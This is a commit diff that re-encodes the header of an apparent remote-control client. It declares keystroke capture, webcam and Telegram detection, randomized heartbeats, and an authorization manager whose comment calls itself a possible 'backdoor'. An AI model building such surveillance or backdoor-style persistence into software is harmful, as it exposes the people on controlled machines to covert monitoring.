mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-22 07:14:15 +08:00
style: Change files encoding format to UTF8-BOM
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@@ -1,4 +1,4 @@
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// KernelManager.h: interface for the CKernelManager class.
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// KernelManager.h: interface for the CKernelManager class.
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//
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//////////////////////////////////////////////////////////////////////
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@@ -20,7 +20,7 @@
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#include <TlHelp32.h>
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#include "LoginServer.h"
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<EFBFBD><EFBFBD>
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// 根据配置决定采用什么通讯协议
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IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
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ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
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@@ -81,7 +81,7 @@ private:
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bool IsWorkstationLocked()
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{
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HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>棬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD>л<EFBFBD><EFBFBD><EFBFBD> Winlogon
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// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
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if (!hInput) return true;
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char name[256] = {0};
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DWORD needed;
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@@ -95,9 +95,9 @@ private:
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};
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struct RttEstimator {
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double srtt = 0.0; // ƽ<EFBFBD><EFBFBD> RTT (<EFBFBD><EFBFBD>)
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double rttvar = 0.0; // RTT <EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><>)
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double rto = 0.0; // <EFBFBD><EFBFBD>ʱʱ<EFBFBD><EFBFBD> (<28><>)
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double srtt = 0.0; // 平滑 RTT (秒)
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double rttvar = 0.0; // RTT 波动 (秒)
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double rto = 0.0; // 超时时间 (秒)
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bool initialized = false;
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void update_from_sample(double rtt_ms)
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@@ -105,7 +105,7 @@ struct RttEstimator {
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const double alpha = 1.0 / 8;
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const double beta = 1.0 / 4;
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// ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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// 转换成秒
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double rtt = rtt_ms / 1000.0;
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if (!initialized) {
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@@ -119,7 +119,7 @@ struct RttEstimator {
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rto = srtt + 4.0 * rttvar;
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}
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С RTO<EFBFBD><EFBFBD>RFC 6298 <EFBFBD>Ƽ<EFBFBD> 1 <EFBFBD>룩
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// 限制最小 RTO(RFC 6298 推荐 1 秒)
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if (rto < 1.0) rto = 1.0;
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}
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};
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@@ -135,20 +135,20 @@ public:
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virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
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ThreadInfo* m_hKeyboard;
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ThreadInfo m_hThread[MAX_THREADNUM];
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// <EFBFBD><EFBFBD>ֵ<EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<EFBFBD><EFBFBD>Խ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
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// 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常
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// 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置
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ULONG m_ulThreadCount;
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UINT GetAvailableIndex();
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State& g_bExit; // Hide base class variable
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static int g_IsAppExit;
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MasterSettings m_settings;
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RttEstimator m_nNetPing; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>״<EFBFBD><EFBFBD>
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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RttEstimator m_nNetPing; // 网络状况
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// 发送心跳
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virtual int SendHeartbeat()
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{
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for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
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Sleep(1000);
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if (m_settings.ReportInterval <= 0) { // <EFBFBD>ر<EFBFBD><EFBFBD>ϱ<EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
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for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
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Sleep(1000);
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return 0;
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@@ -171,28 +171,28 @@ public:
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bool SoftwareCheck(int type)
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{
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static std::map<int, std::string> m = {
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{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"},
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{SOFTWARE_CAMERA, "摄像头"},
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{SOFTWARE_TELEGRAM, "telegram.exe" },
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};
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static bool hasCamera = WebCamIsExist();
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return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
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}
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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// 检查进程是否正在运行
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bool IsProcessRunning(const std::vector<std::string>& processNames)
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{
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PROCESSENTRY32 pe32;
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pe32.dwSize = sizeof(PROCESSENTRY32);
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// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰϵͳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><EFBFBD>̵Ŀ<EFBFBD><EFBFBD><EFBFBD>
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// 获取当前系统中所有进程的快照
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HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
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if (hProcessSnap == INVALID_HANDLE_VALUE)
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return true;
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><EFBFBD><EFBFBD>
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// 遍历所有进程
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if (Process32First(hProcessSnap, &pe32)) {
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do {
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for (const auto& processName : processNames) {
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD>䣬<EFBFBD><EFBFBD> true
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// 如果进程名称匹配,则返回 true
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if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
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SAFE_CLOSE_HANDLE(hProcessSnap);
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return true;
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@@ -211,10 +211,10 @@ public:
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};
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// [IMPORTANT]
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// <EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ȩ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٺ<EFBFBD><D9BA><EFBFBD><EFBFBD>ؽ<EFBFBD><D8BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD><EFBFBD>.
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// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֺ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>š<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DZ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
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// ע<EFBFBD><EFBFBD>: <20><>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD>ں˹<DABA><CBB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>и<EFBFBD><D0B8><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>ص<EFBFBD><D8B5><EFBFBD>Ϣ.
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// <EFBFBD>κ<EFBFBD><EFBFBD><EFBFBD>ͼͨ<EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD>Dz<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǿ<EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD>.
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// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
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// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
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// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
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// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
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class AuthKernelManager : public CKernelManager
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{
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public:
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